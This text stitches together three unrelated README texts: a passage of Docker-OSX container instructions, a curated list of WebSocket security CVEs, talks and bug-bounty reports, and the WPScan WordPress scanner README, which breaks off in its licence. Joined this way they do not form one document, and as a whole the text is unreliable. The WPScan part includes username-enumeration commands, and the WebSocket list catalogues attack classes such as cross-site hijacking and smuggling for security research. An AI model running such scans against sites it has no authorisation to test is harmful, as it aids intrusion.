MASTER_PLIST_URL='https://raw.githubusercontent.com/sickcodes/osx-serial-generator/master/config-custom.plist' \ -v "${DISK_TWO}:/disktwo" \ -e EXTRA='-device ide-hd,bus=sata.5,drive=DISK-TWO -drive id=DISK-TWO,if=none,file=/disktwo,format=qcow2' \ ``` #### Physical disk mounting example ```bash OSX_IMAGE="${PWD}/mac_hdd_ng_xcode_bigsur.img" DISK_TWO="${PWD}/mount_me.img" docker run -it \ --device /dev/kvm \ -e "DISPLAY=${DISPLAY:-:0.0}" \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -e MASTER_PLIST_URL='https://raw.githubusercontent.com/sickcodes/osx-serial-generator/master/config-custom.plist' \ -v "${OSX_IMAGE}":/image \ -v "${DISK_TWO}":/disktwo \ -e EXTRA='-device ide-hd,bus=sata.5,drive=DISK-TWO -drive id=DISK-TWO,if=none,file=/disktwo,format=qcow2' \ sickcodes/docker-osx:naked ``` See also: [here](https://github.com/sickcodes/Docker-OSX/issues/222). #### Extracting the APFS disk on Linux In Docker-OSX, we are using `qcow2` images. This means the image grows as you use it, but the guest OS thinks you have 200GB available. **READ ONLY** ```bash # mount the qemu image like a real disk sudo modprobe nbd max_part=8 sudo qemu-nbd --connect=/dev/nbd0 ./image.img sudo fdisk /dev/nbd0 -l mkdir -p ./mnt sudo mount /dev/nbd0p1 ./mnt # inspect partitions (2 partitions) sudo fdisk /dev/nbd0 -l # mount using apfs-linux-rw OR apfs-fuse mkdir -p ./part sudo mount /dev/nbd0p2 ./part sudo apfs-fuse -o allow_other /dev/nbd0p2 ./part ``` When you are finishing looking at your disk, you can unmount the partition, the disk, and remove the loopback device: ```bash sudo umount ./part sudo umount ./mnt sudo qemu-nbd --disconnect /dev/nbd0 sudo rmmod nbd ``` ### USB Passthrough Firstly, QEMU must be started as root. It is also potentially possible to accomplish USB passthrough by changing the permissions of the device in the container. See [here](https://www.linuxquestions.org/questions/slackware-14/qemu-usb-permissions-744557/#post3628691). For example, create a new Dockerfile with the following ```bash FROM sickcodes/docker-osx USER arch RUN sed -i -e s/exec\ qemu/exec\ sudo\ qemu/ ./Launch.sh COPY --chown=arch ./new_image.img /home/arch/OSX-KVM/mac_hdd_ng.img ``` Where `new_image.img` is the qcow2 image you extracted. Then rebuild with `docker build .` Next we need to find out the bus and port numbers of the USB device we want to pass through to the VM: ```bash lsusb -t /: Bus 02.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/6p, 5000M /: Bus 01.Port 1: Dev 1, Class=root_hub, Driver=xhci_hcd/12p, 480M |__ Port 2: Dev 5, If 0, Class=Human Interface Device, Driver=usbhid, 12M |__ Port 2: Dev 5, If 1, Class=Chip/SmartCard, Driver=, 12M |__ Port 3: Dev 2, If 0, Class=Wireless, Driver=, 12M |__ Port 3: Dev 2, If 1, Class=Wireless, Driver=, 12M |__ Port 5: Dev 3, If 0, Class=Video, Driver=uvcvideo, 480M |__ Port 5: Dev 3, If 1, Class=Video, Driver=uvcvideo, 480M ``` In this example, we want to pass through a smartcard device. The device we want is on bus 1 and port 2. There may also be differences if your device is usb 2.0 (ehci) vs usb 3.0 (xhci). See [here](https://unix.stackexchange.com/a/452946/101044) for more details. ```bash # hostbus and hostport correspond to the numbers from lsusb # runs in privileged mode to enable access to the usb devices. docker run \ --privileged \ --device /dev/kvm \ -e RAM=4 \ -p 50922:10022 \ -e "DISPLAY=${DISPLAY:-:0.0}" \ -e EXTRA="-device virtio-serial-pci -device usb-host,hostbus=1,hostport=2" \ mycustomimage ``` You should see the device show up when you do `system_profiler SPUSBDataType` in the MacOS shell. Important Note: this will cause the host system to lose access to the USB device while the VM is running! ## Container creation examples #### Quick Start your own image (naked container image) This is my favourite container. You can supply an existing disk image as a Docker command line argument. - Pull images out using `sudo find /var/lib/docker -name mac_hdd_ng.img -size +10G` - Supply your own local image with the command argument `-v "${PWD}/mac_hdd_ng.img:/image"` and use `sickcodes/docker-osx:naked` when instructing Docker to create your container. - Naked image is for booting any existing .img file, e.g in the current working directory (`$PWD`) - By default, this image has a variable called `NOPICKER` which is `"true"`. This skips the disk selection menu. Use `-e NOPICKER=false` or any other string than the word `true` to enter the boot menu. This lets you use other disks instead of skipping the boot menu, e.g. recovery disk or disk utility. ```bash docker pull sickcodes/docker-osx:naked # run your own image + SSH # change mac_hdd_ng.img docker run -it \ --device /dev/kvm \ -p 50922:10022 \ -v "${PWD}/mac_hdd_ng.img:/image" \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -e "DISPLAY=${DISPLAY:-:0.0}" \ sickcodes/docker-osx:naked # run local copy of the auto image + SSH + Boot menu docker run -it \ --device /dev/kvm \ -p 50922:10022 \ -v "${PWD}/mac_hdd_ng_auto.img:/image" \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -e "DISPLAY=${DISPLAY:-:0.0}" \ -e "NOPICKER=false" \ sickcodes/docker-osx:naked ``` ### Building an OSX container with video output The Quick Start command should work out of the box, provided that you keep the following lines. Works in `auto` & `naked` machines: ``` -v /tmp/.X11-unix:/tmp/.X11-unix \ -e "DISPLAY=${DISPLAY:-:0.0}" \ ``` #### Prebuilt image with arbitrary command line arguments [![https://img.shields.io/docker/image-size/sickcodes/docker-osx/auto?label=sickcodes%2Fdocker-osx%3Aauto](https://img.shields.io/docker/image-size/sickcodes/docker-osx/auto?label=sickcodes%2Fdocker-osx%3Aauto)](https://hub.docker.com/r/sickcodes/docker-osx/tags?page=1&ordering=last_updated) `-e OSX_COMMANDS` lets you run any commands inside the container ```bash docker pull sickcodes/docker-osx:auto # boot to OS X shell + display + specify commands to run inside OS X! docker run -it \ --device /dev/kvm \ -p 50922:10022 \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -e "DISPLAY=${DISPLAY:-:0.0}" \ -e "OSX_COMMANDS=/bin/bash -c \"put your commands here\"" \ sickcodes/docker-osx:auto # Boots in a minute or two! ``` OR if you have an image already and just want to log in and execute arbitrary commands: ```bash docker pull sickcodes/docker-osx:naked-auto # boot to OS X shell + display + specify commands to run inside OS X! docker run -it \ --device /dev/kvm \ -p 50922:10022 \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -e "DISPLAY=${DISPLAY:-:0.0}" \ -e USERNAME=yourusername \ -e PASSWORD=yourpassword \ -e "OSX_COMMANDS=/bin/bash -c \"put your commands here\"" \ sickcodes/docker-osx:naked-auto # Boots in a minute or two! ``` ### Further examples There's a myriad of other potential use cases that can work perfectly with Docker-OSX, some of which you'll see below! ### Building a headless OSX container For a headless container, **remove** the following two lines from your `docker run` command: ``` # -v /tmp/.X11-unix:/tmp/.X11-unix \ # -e "DISPLAY=${DISPLAY:-:0.0}" \ ``` #### Building a headless container from a custom image [![https://img.shields.io/docker/image-size/sickcodes/docker-osx/naked?label=sickcodes%2Fdocker-osx%3Anaked](https://img.shields.io/docker/image-size/sickcodes/docker-osx/naked?label=sickcodes%2Fdocker-osx%3Anaked)](https://hub.docker.com/r/sickcodes/docker-osx/tags?page=1&ordering=last_updated) This is particularly helpful for CI/CD pipelines. ```bash # run your own image headless + SSH docker run -it \ --device /dev/kvm \ -p 50922:10022 \ -v "${PWD}/mac_hdd_ng.img:/image" \ sickcodes/docker-osx:naked ``` ### Building a headless container that allows insecure VNC on localhost (!for local use only!) **Must change -it to -i to be able to interact with the QEMU console** **To exit a container using -i you must `docker kill <containerid>`. For example, to kill everything, `docker ps | xargs docker kill`.** Native QEMU VNC example ```bash docker run -i \ --device /dev/kvm \ -p 50922:10022 \ -p 5999:5999 \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -e "DISPLAY=${DISPLAY:-:0.0}" \ -e EXTRA="-display none -vnc 0.0.0.0:99,password=on" \ sickcodes/docker-osx:big-sur # type `change vnc password myvncusername` into the docker terminal and set a password # connect to localhost:5999 using VNC # qemu 6 seems to require a username for vnc now ``` **NOT TLS/HTTPS Encrypted at all!** Or `ssh -N [email protected] -L 5999:127.0.0.1:5999`, where `1.1.1.1` is your remote server IP. (Note: if you close port 5999 and use the SSH tunnel, this becomes secure.) ### Building a headless container to run remotely with secure VNC Add the following line: `-e EXTRA="-display none -vnc 0.0.0.0:99,password=on"` In the Docker terminal, press `enter` until you see `(qemu)`. Type `change vnc password someusername` Enter a password for your new vnc username^. You also need the container IP: `docker inspect <containerid> | jq -r '.[0].NetworkSettings.IPAddress'` Or `ip n` will usually show the container IP first. Now VNC connects using the Docker container IP, for example `172.17.0.2:5999` Remote VNC over SSH: `ssh -N [email protected] -L 5999:172.17.0.2:5999`, where `1.1.1.1` is your remote server IP and `172.17.0.2` is your LAN container IP. Now you can direct connect VNC to any container built with this command! ### I'd like to use SPICE instead of VNC Optionally, you can enable the SPICE protocol, which allows use of `remote-viewer` to access your OSX container rather than VNC. Note: `-disable-ticketing` will allow unauthenticated access to the VM. See the [spice manual](https://www.spice-space.org/spice-user-manual.html) for help setting up authenticated access ("Ticketing"). ```bash docker run \ --device /dev/kvm \ -p 3001:3001 \ -p 50922:10022 \ -e "DISPLAY=${DISPLAY:-:0.0}" \ -e EXTRA="-monitor telnet::45454,server,nowait -nographic -serial null -spice disable-ticketing,port=3001" \ mycustomimage ``` Then simply do `remote-viewer spice://localhost:3001` and add `--spice-debug` for debugging. #### Creating images based on an already configured and set up container ```bash # You can create an image of an already configured and setup container. # This allows you to effectively duplicate a system. # To do this, run the following commands # make note of your container id docker ps --all docker commit containerid newImageName # To run this image do the following docker run \ --device /dev/kvm \ --device /dev/snd \ -v /tmp/.X11-unix:/tmp/.X11-unix \ newImageName ``` ```bash docker pull sickcodes/docker-osx:auto # boot directly into a real OS X shell with no display (Xvfb) [HEADLESS] docker run -it \ --device /dev/kvm \ -p 50922:10022 \ sickcodes/docker-osx:auto # username is user # passsword is alpine # Wait 2-3 minutes until you drop into the shell. ``` #### Run the original version of Docker-OSX ```bash docker pull sickcodes/docker-osx:latest docker run -it \ --device /dev/kvm \ --device /dev/snd \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -e "DISPLAY=${DISPLAY:-:0.0}" \ sickcodes/docker-osx:latest # press CTRL + G if your mouse gets stuck # scroll down to troubleshooting if you have problems # need more RAM and SSH on localhost -p 50922? ``` #### Run but enable SSH in OS X (Original Version)! ```bash docker run -it \ --device /dev/kvm \ --device /dev/snd \ -p 50922:10022 \ -v /tmp/.X11-unix:/tmp/.X11-unix \ -e "DISPLAY=${DISPLAY:-:0.0}" \ sickcodes/docker-osx:latest # turn on SSH after you've installed OS X in the "Sharing" settings. ssh user@localhost -p 50922 ``` #### Autoboot into OS X after you've installed everything Add the extra option `-e NOPICKER=true`. Old machines: ```bash # find your containerID docker ps # move the no picker script on top of the Launch script # NEW CONTAINERS docker exec containerID mv ./Launch-nopicker.sh ./Launch.sh # VNC-VERSION-CONTAINER docker exec containerID mv ./Launch-nopicker.sh ./Launch_custom.sh # LEGACY CONTAINERS docker exec containerID bash -c "grep -v InstallMedia ./Launch.sh > ./Launch-nopicker.sh chmod +x ./Launch-nopicker.sh sed -i -e s/OpenCore\.qcow2/OpenCore\-nopicker\.qcow2/ ./Launch-nopicker.sh " ``` ### The big-sur image starts slowly after installation. Is this expected? Automatic updates are still on in the container's settings. You may wish to turn them off. [We have future plans for development around this.](https://github.com/sickcodes/Docker-OSX/issues/227) ### What is `${DISPLAY:-:0.0}`? `$DISPLAY` is the shell variable that refers to your X11 display server. `${DISPLAY}` is the same, but allows you to join variables like this: - e.g. `${DISPLAY}_${DISPLAY}` would print `:0.0_:0.0` - e.g. `$DISPLAY_$DISPLAY` would print `:0.0` ...because `$DISPLAY_` is not `$DISPLAY` `${variable:-fallback}` allows you to set a "fallback" variable to be substituted if `$variable` is not set. You can also use `${variable:=fallback}` to set that variable (in your current terminal). In Docker-OSX, we assume, `:0.0` is your default `$DISPLAY` variable. You can see what yours is ```bash echo $DISPLAY ``` That way, `${DISPLAY:-:0.0}` will use whatever variable your X11 server has set for you, else `:0.0` ### What is `-v /tmp/.X11-unix:/tmp/.X11-unix`? `-v` is a Docker command-line option that lets you pass a volume to the container. The directory that we are letting the Docker container use is a X server display socket. `/tmp/.X11-unix` If we let the Docker container use the same display socket as our own environment, then any applications you run inside the Docker container will show up on your screen too! [https://www.x.org/archive/X11R6.8.0/doc/RELNOTES5.html](https://www.x.org/archive/X11R6.8.0/doc/RELNOTES5.html) ### ALSA errors on startup or container creation You may when initialising or booting into a container see errors from the `(qemu)` console of the following form: `ALSA lib blahblahblah: (function name) returned error: no such file or directory`. These are more or less expected. As long as you are able to boot into the container and everything is working, no reason to worry about these. See also: [here](https://github.com/sickcodes/Docker-OSX/issues/174).
# Awesome WebSockets Security [![Awesome](https://cdn.rawgit.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/badge.svg)](https://github.com/sindresorhus/awesome) A collection of CVEs, research, and reference materials related to WebSocket security ------ ## Contents - [WebSocket Library Vulnerabilities](#websocket_library_vulnerabilities) - [Conference Talks](#conference_talks) - [Common WebSocket Weaknesses](#common_weaknesses) - [WebSocket Security Tools](#websocket_security_tools) - [Bug Bounty Writeups](#bug_bounty_writeups) - [Useful blog posts](#useful_blogs) ------ ## <a name="websocket_library_vulnerabilities"></a>WebSocket Library Vulnerabilities This list of vulnerabilities attempts to capture WebSocket CVEs and related issues in commonly encountered WebSockets server implementations. | CVE ID | Vulnerable package | Related writeup | Vulnerability summary | | :---- | :---------- | :-------------------- | :------ | | [CVE-2021-42340](https://nvd.nist.gov/vuln/detail/CVE-2021-42340) | [Tomcat](https://github.com/uNetworking/uWebSockets) | [Apache mailing list](https://lists.apache.org/thread.html/r83a35be60f06aca2065f188ee542b9099695d57ced2e70e0885f905c%40%3Cannounce.tomcat.apache.org%3E) | DoS memory leak | | [CVE-2021-33880](https://nvd.nist.gov/vuln/detail/CVE-2021-33880) | [Python websockets](https://github.com/aaugustin/websockets) | [GitHub Advisory](https://github.com/advisories/GHSA-8ch4-58qp-g3mp) | HTTP basic auth timing attack | | [CVE-2021-32640](https://nvd.nist.gov/vuln/detail/CVE-2021-32640) | [ws](https://github.com/websockets/ws) | [GitHub Advisory](https://github.com/websockets/ws/security/advisories/GHSA-6fc8-4gx4-v693) | Regex backtracking Denial of Service | | [CVE-2020-36406](https://nvd.nist.gov/vuln/detail/CVE-2020-36406) | [uWebSockets](https://github.com/uNetworking/uWebSockets) | [OSS Fuzz Summary](https://github.com/google/oss-fuzz-vulns/blob/main/vulns/uwebsockets/OSV-2020-1695.yaml) | Stack buffer overflow | | [CVE-2020-27813](https://nvd.nist.gov/vuln/detail/CVE-2020-27813) | [Gorilla](https://github.com/gorilla/websocket) | [GitHub Advisory](https://github.com/gorilla/websocket/security/advisories/GHSA-jf24-p9p9-4rjh) | Integer overflow | | [CVE-2020-24807](https://nvd.nist.gov/vuln/detail/CVE-2020-24807) | [socket.io-file](https://github.com/rico345100/socket.io-file) | [Auxilium Security](https://blog.auxiliumcybersec.com/?p=2646) | File type restriction bypass | | [CVE-2020-15779](https://nvd.nist.gov/vuln/detail/CVE-2020-15779) | [socket.io-file](https://github.com/rico345100/socket.io-file) | [Auxilium Security](https://blog.auxiliumcybersec.com/?p=2586) | Path traversal | | [CVE-2020-15134](https://nvd.nist.gov/vuln/detail/CVE-2020-15134) | [faye-websocket](https://github.com/faye/faye-websocket-ruby) | [GitHub advisory](https://github.com/faye/faye/security/advisories/GHSA-3q49-h8f9-9fr9) | Lack of TLS certificate validation | | [CVE-2020-15133](https://nvd.nist.gov/vuln/detail/CVE-2020-15133) | [faye-websocket](https://github.com/faye/faye-websocket-ruby) | [GitHub advisory](https://github.com/faye/faye-websocket-ruby/security/advisories/GHSA-2v5c-755p-p4gv) | Lack of TLS certificate validation | | [CVE-2020-11050](https://nvd.nist.gov/vuln/detail/CVE-2020-11050) | [Java WebSocket](https://tootallnate.github.io/Java-WebSocket/) | [GitHub advisory](https://github.com/TooTallNate/Java-WebSocket/security/advisories/GHSA-gw55-jm4h-x339) | SSL hostname validation not performed | | [CVE-2020-7663](https://nvd.nist.gov/vuln/detail/CVE-2020-7663) | [Ruby websocket-extensions](https://rubygems.org/gems/websocket-extensions) | [Writeup](https://blog.jcoglan.com/2020/06/02/redos-vulnerability-in-websocket-extensions/) | Regex backtracking Denial of Service | | [CVE-2020-7662](https://nvd.nist.gov/vuln/detail/CVE-2020-7662) | [npm websocket-extensions](https://rubygems.org/gems/websocket-extensions) | [Writeup](https://snyk.io/blog/regular-expression-denial-of-service-in-websocket-extensions/) | Regex backtracking Denial of Service | | None | [Socket.io](https://github.com/socketio/socket.io) | [GitHub Issue](https://github.com/socketio/socket.io/issues/3671) | CORS misconfiguration | | [CVE-2018-1000518](https://nvd.nist.gov/vuln/detail/CVE-2018-1000518) | [Python websockets](https://github.com/aaugustin/websockets) | [GitHub PR](https://github.com/aaugustin/websockets/pull/407) | DoS via memory exhaustion when decompressing compressed data | | None | [Tornado](https://github.com/tornadoweb/tornado) | [GitHub PR](https://github.com/tornadoweb/tornado/pull/2391) | DoS via memory exhaustion when decompressing compressed data | | [CVE-2018-21035](https://nvd.nist.gov/vuln/detail/CVE-2018-21035) | [Qt WebSockets](https://doc.qt.io/qt-5/qtwebsockets-index.html) | [Bug report](https://bugreports.qt.io/browse/QTBUG-70693) | Denial of service due large limit on message and frame size | | [CVE-2017-16031](https://nvd.nist.gov/vuln/detail/CVE-2017-16031) | [socket.io](https://socket.io/) | [GitHub Issue](https://github.com/socketio/socket.io/issues/856) | Socket IDs use predictable random numbers | | [CVE-2016-10544](https://nvd.nist.gov/vuln/detail/CVE-2016-10544) | [uWebSockets](https://github.com/uNetworking/uWebSockets) | [npm advisory](https://www.npmjs.com/advisories/149) | Denial of service due to large limit on message size | | [CVE-2016-10542](https://nvd.nist.gov/vuln/detail/CVE-2016-10542) | [NodeJS ws](https://www.npmjs.com/package/ws) | [npm advisory](https://www.npmjs.com/advisories/120) | Denial of service due to large limit on message size | | None | [draft-hixie-thewebsocketprotocol-76](https://tools.ietf.org/html/draft-hixie-thewebsocketprotocol-76) | [Writeup](https://webcache.googleusercontent.com/search?q=cache:oPoZu0vomjYJ:https://www.ietf.org/mail-archive/web/hybi/current/msg04744.html+&cd=1&hl=en&ct=clnk&gl=us) | | ------ ## <a name="conference_talks"></a>Conference Talks, Papers, Notable Blog Posts ## 2011 - Talking to Yourself for Fun and Profit [Paper](http://www.adambarth.com/papers/2011/huang-chen-barth-rescorla-jackson.pdf) ### 2012 - Blackhat 2012 - Mike Shema, Sergey Shekyan, Vaagn Toukharian - Hacking with WebSockets [Video](https://www.youtube.com/watch?v=-ALjHUqSz_Y) ### 2019 - Hacktivity 2019 - Mikhail Egorov - What’s Wrong with WebSocket APIs? Unveiling Vulnerabilities in WebSocket APIs [Video](https://www.youtube.com/watch?v=gANzRo7UHt8) - DerbyCon 2019 - Michael Fowl, Nick Defoe - Old Tools New Tricks Hacking WebSockets [Video](https://www.youtube.com/watch?v=MhxayMPknFI) ### 2021 - OWASP Global AppSec US 2021 - Erik Elbieh - We’re not in HTTP anymore: Investigating WebSocket Server Security [Tool](https://github.com/PalindromeLabs/STEWS) [Paper](https://github.com/PalindromeLabs/STEWS/blob/main/paper.pdf) [Video](https://www.youtube.com/watch?v=bMFP71UAbPo) ------ ## <a name="common_websocket_weaknesses"></a>Common WebSocket Weaknesses ### Unencrypted WebSockets <!-- markdown-link-check-disable-next-line --> - Black Hills WebSocket testing guide: [Link](https://www.blackhillsinfosec.com/how-to-hack-websockets-and-socket-io/) ### Cross-Site WebSocket Hijacking (CSWSH) - Original CSWSH blog post by Christian Schneider: [Link](https://christian-schneider.net/CrossSiteWebSocketHijacking.html) - PortSwigger Web Academy CSWSH lab: [Link](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking) ### Insecure Authentication Mechanism - Stratum Security blog post: [Link](https://blog.stratumsecurity.com/2016/06/13/websockets-auth/) - Heroku WebSocket Security: [Link](https://devcenter.heroku.com/articles/websocket-security#authentication-authorization) ### Reverse Proxy Bypass using Upgrade Header - Mikhail Egorov's initial PoC from Hacktivity 2019: [Link](https://github.com/0ang3el/websocket-smuggle) - Jake Miller's HTTP 2 smuggling tool based on Mikhail's PoC work: [Link](https://github.com/BishopFox/h2csmuggler) - AssetNote blog post with golang h2smuggler tool: [Link](https://blog.assetnote.io/2021/03/18/h2c-smuggling/) ## DOM-based WebSocket-URL poisoning - Portswigger summary: [Link](https://portswigger.net/web-security/dom-based/websocket-url-poisoning) ------ ## <a name="useful_blogs"></a>Useful Blog Posts & Resources - Portscanning using WebSockets [Link](https://medium.com/@stestagg/stealing-secrets-from-developers-using-websockets-254f98d577a0) - WebSocket fuzzing with Kitty fuzzing framework [Link](https://snikt.net/blog/2019/05/22/to-fuzz-a-websocket/) - WebSocket fuzzing harness [Link](https://vdalabs.com/2019/03/05/hacking-web-sockets-all-web-pentest-tools-welcomed/) - Project Zero WebSockets-based buffer overflow [Link](https://googleprojectzero.blogspot.com/2020/02/several-months-in-life-of-part2.html) - Reserved Extension, Subprotocol values [Link](https://www.iana.org/assignments/websocket/websocket.xml#subprotocol-name) ------ ## <a name="websocket_security_tools"></a>WebSocket Security Tools ### Discovery, Fingerprinting, Vulnerability Detection - STEWS [GitHub](https://github.com/PalindromeLabs/STEWS) ### Fuzzing - websocket-fuzzer [GitHub](https://github.com/andresriancho/websocket-fuzzer) - websocket-harness [GitHub](https://github.com/VDA-Labs/websocket-harness) ### Playgrounds - DVWS: A purposefully vulnerable WebSocket demo [GitHub](https://github.com/interference-security/DVWS) - WebSocket-Playground: Jumpstart multiple WebSockets servers [GitHub](https://github.com/PalindromeLabs/WebSockets-Playground) ### General Utilities & Tools - WebSocket King [in-browser tool](https://websocketking.com/) - Hoppscotch.io [in-browser tool](https://hoppscotch.io/realtime) - websocat [GitHub](https://github.com/vi/websocat) - wsd [GitHub](https://github.com/alexanderGugel/wsd) ------ ## <a name="bug_bounty_writeups"></a>Bug Bounty Writeups ### CSWSH bugs - [Slack H1 #207170](https://hackerone.com/reports/207170): CSWSH (plus [an additional writeup](https://labs.detectify.com/2017/02/28/hacking-slack-using-postmessage-and-websocket-reconnect-to-steal-your-precious-token/)) - [Facebook](https://ysamm.com/?p=363): CSWSH - [Stripo H1 #915541](https://hackerone.com/reports/915541): CSWSH - [Coda H1 #535436](https://hackerone.com/reports/535436): CSWSH - [Legal Robot #211283](https://hackerone.com/reports/211283): CSWSH - [Legal Robot H1 #274324](https://hackerone.com/reports/274324): CSWSH - [Grammarly #395729](https://hackerone.com/reports/395729): CSWSH - [Undisclosed target](https://sharan-panegav.medium.com/account-takeover-using-cross-site-websocket-hijacking-cswh-99cf9cea6c50): CSWSH - [Undisclosed target](https://medium.com/bugbountywriteup/one-token-to-leak-them-all-the-story-of-a-8000-npm-token-79b13af182a3): CSWSH ### Other bugs - [PlayStation H1 #873614](https://hackerone.com/reports/873614): Remote code execution over WebSockets - [Shopify H1 #409701](https://hackerone.com/reports/409701): SSRF over WebSockets - [QIWI H1 #512065](https://hackerone.com/reports/512065): DOM XSS over WebSockets - [NodeJS H1 #868834](https://hackerone.com/reports/868834): DoS because no timeout to close unresponsive connections - [Bitwala H1 #862835](https://hackerone.com/reports/862835): Broken authentication - [Shopify H1 #1023669](https://hackerone.com/reports/1023669): Broken authentication - [Legal Robot H1 #163464](https://hackerone.com/reports/163464): Information leak - [GitHub H1 #854439](https://hackerone.com/reports/854439): Arbitrary SQL queries via injection - [Undisclosed target](https://footstep.ninja/posts/idor-via-websockets/): IDOR over WebSockets - [Undisclosed target on BugCrowd](https://medium.com/@osamaavvan/exploiting-websocket-application-wide-xss-csrf-66e9e2ac8dfa): XSS over WebSockets
<p align="center"> <a href="https://wpscan.com/"> <img src="https://raw.githubusercontent.com/wpscanteam/wpscan/gh-pages/images/wpscan_logo.png" alt="WPScan logo"> </a> </p> <h3 align="center">WPScan</h3> <p align="center"> WordPress Security Scanner <br> <br> <a href="https://wpscan.com/" title="homepage" target="_blank">WPScan WordPress Vulnerability Database</a> - <a href="https://wordpress.org/plugins/wpscan/" title="wordpress security plugin" target="_blank">WordPress Security Plugin</a> </p> <p align="center"> <a href="https://badge.fury.io/rb/wpscan" target="_blank"><img src="https://badge.fury.io/rb/wpscan.svg"></a> <a href="https://hub.docker.com/r/wpscanteam/wpscan/" target="_blank"><img src="https://img.shields.io/docker/pulls/wpscanteam/wpscan.svg"></a> <a href="https://github.com/wpscanteam/wpscan/actions?query=workflow%3ABuild" target="_blank"><img src="https://github.com/wpscanteam/wpscan/workflows/Build/badge.svg"></a> <a href="https://codeclimate.com/github/wpscanteam/wpscan" target="_blank"><img src="https://codeclimate.com/github/wpscanteam/wpscan/badges/gpa.svg"></a> </p> # INSTALL ## Prerequisites - (Optional but highly recommended: [RVM](https://rvm.io/rvm/install)) - Ruby >= 2.5 - Recommended: latest - Ruby 2.5.0 to 2.5.3 can cause an 'undefined symbol: rmpd_util_str_to_d' error in some systems, see [#1283](https://github.com/wpscanteam/wpscan/issues/1283) - Curl >= 7.72 - Recommended: latest - The 7.29 has a segfault - The < 7.72 could result in `Stream error in the HTTP/2 framing layer` in some cases - RubyGems - Recommended: latest - Nokogiri might require packages to be installed via your package manager depending on your OS, see https://nokogiri.org/tutorials/installing_nokogiri.html ### In a Pentesting distribution When using a pentesting distubution (such as Kali Linux), it is recommended to install/update wpscan via the package manager if available. ### In macOSX via Homebrew `brew install wpscanteam/tap/wpscan` ### From RubyGems ```shell gem install wpscan ``` On MacOSX, if a ```Gem::FilePermissionError``` is raised due to the Apple's System Integrity Protection (SIP), either install RVM and install wpscan again, or run ```sudo gem install -n /usr/local/bin wpscan``` (see [#1286](https://github.com/wpscanteam/wpscan/issues/1286)) # Updating You can update the local database by using ```wpscan --update``` Updating WPScan itself is either done via ```gem update wpscan``` or the packages manager (this is quite important for distributions such as in Kali Linux: ```apt-get update && apt-get upgrade```) depending on how WPScan was (pre)installed # Docker Pull the repo with ```docker pull wpscanteam/wpscan``` Enumerating usernames ```shell docker run -it --rm wpscanteam/wpscan --url https://target.tld/ --enumerate u ``` Enumerating a range of usernames ```shell docker run -it --rm wpscanteam/wpscan --url https://target.tld/ --enumerate u1-100 ``` ** replace u1-100 with a range of your choice. # Usage Full user documentation can be found here; https://github.com/wpscanteam/wpscan/wiki/WPScan-User-Documentation ```wpscan --url blog.tld``` This will scan the blog using default options with a good compromise between speed and accuracy. For example, the plugins will be checked passively but their version with a mixed detection mode (passively + aggressively). Potential config backup files will also be checked, along with other interesting findings. If a more stealthy approach is required, then ```wpscan --stealthy --url blog.tld``` can be used. As a result, when using the ```--enumerate``` option, don't forget to set the ```--plugins-detection``` accordingly, as its default is 'passive'. For more options, open a terminal and type ```wpscan --help``` (if you built wpscan from the source, you should type the command outside of the git repo) The DB is located at ~/.wpscan/db ## Optional: WordPress Vulnerability Database API The WPScan CLI tool uses the [WordPress Vulnerability Database API](https://wpscan.com/api) to retrieve WordPress vulnerability data in real time. For WPScan to retrieve the vulnerability data an API token must be supplied via the `--api-token` option, or via a configuration file, as discussed below. An API token can be obtained by registering an account on [WPScan.com](https://wpscan.com/register). Up to **75** API requests per day are given free of charge, that should be suitable to scan most WordPress websites at least once per day. When the daily 75 API requests are exhausted, WPScan will continue to work as normal but without any vulnerability data. ### How many API requests do you need? - Our WordPress scanner makes one API request for the WordPress version, one request per installed plugin and one request per installed theme. - On average, a WordPress website has 22 installed plugins. ## Load CLI options from file/s WPScan can load all options (including the --url) from configuration files, the following locations are checked (order: first to last): - ~/.wpscan/scan.json - ~/.wpscan/scan.yml - pwd/.wpscan/scan.json - pwd/.wpscan/scan.yml If those files exist, options from the `cli_options` key will be loaded and overridden if found twice. e.g: ~/.wpscan/scan.yml: ```yml cli_options: proxy: 'http://127.0.0.1:8080' verbose: true ``` pwd/.wpscan/scan.yml: ```yml cli_options: proxy: 'socks5://127.0.0.1:9090' url: 'http://target.tld' ``` Running ```wpscan``` in the current directory (pwd), is the same as ```wpscan -v --proxy socks5://127.0.0.1:9090 --url http://target.tld``` ## Save API Token in a file The feature mentioned above is useful to keep the API Token in a config file and not have to supply it via the CLI each time. To do so, create the ~/.wpscan/scan.yml file containing the below: ```yml cli_options: api_token: YOUR_API_TOKEN ``` ## Load API Token From ENV (since v3.7.10) The API Token will be automatically loaded from the ENV variable `WPSCAN_API_TOKEN` if present. If the `--api-token` CLI option is also provided, the value from the CLI will be used. ## Enumerating usernames ```shell wpscan --url https://target.tld/ --enumerate u ``` Enumerating a range of usernames ```shell wpscan --url https://target.tld/ --enumerate u1-100 ``` ** replace u1-100 with a range of your choice. # LICENSE ## WPScan Public Source License The WPScan software (henceforth referred to simply as "WPScan") is dual-licensed - Copyright 2011-2019 WPScan Team. Cases that include commercialization of WPScan require a commercial, non-free license. Otherwise, WPScan can be used without charge under the terms set out below. ### 1. Definitions 1.1 "License" means this document. 1.2 "Contributor" means each individual or legal entity that creates, contributes to the creation of, or owns WPScan. 1.3 "WPScan Team" means WPScan’s core developers. ### 2. Commercialization A commercial use is one intended for commercial advantage or monetary compensation. Example cases of commercialization are: - Using WPScan to provide commercial managed/Software-as-a-Service services. - Distributing WPScan as a commercial product or as part of one. - Using WPScan as a value added service/product. Example cases which do not require a commercial license, and thus fall under the terms set out below, include (but are not limited to): - Penetration testers (or penetration testing organizations) using WPScan as part of their assessment toolkit. - Penetration Testing Linux Distributions including but not limited to Kali Linux, SamuraiWTF, BackBox Linux. - Using WPScan to test your own systems. - Any non-commercial use of WPScan. If you need to purchase a commercial license or are unsure whether you need to purchase a commercial license contact us - [email protected]. Free-use Terms and Conditions; ### 3. Redistribution Redistribution is permitted under the following conditions: - Unmodified License is provided with WPScan. - Unmodified Copyright notices are provided with WPScan. - Does not 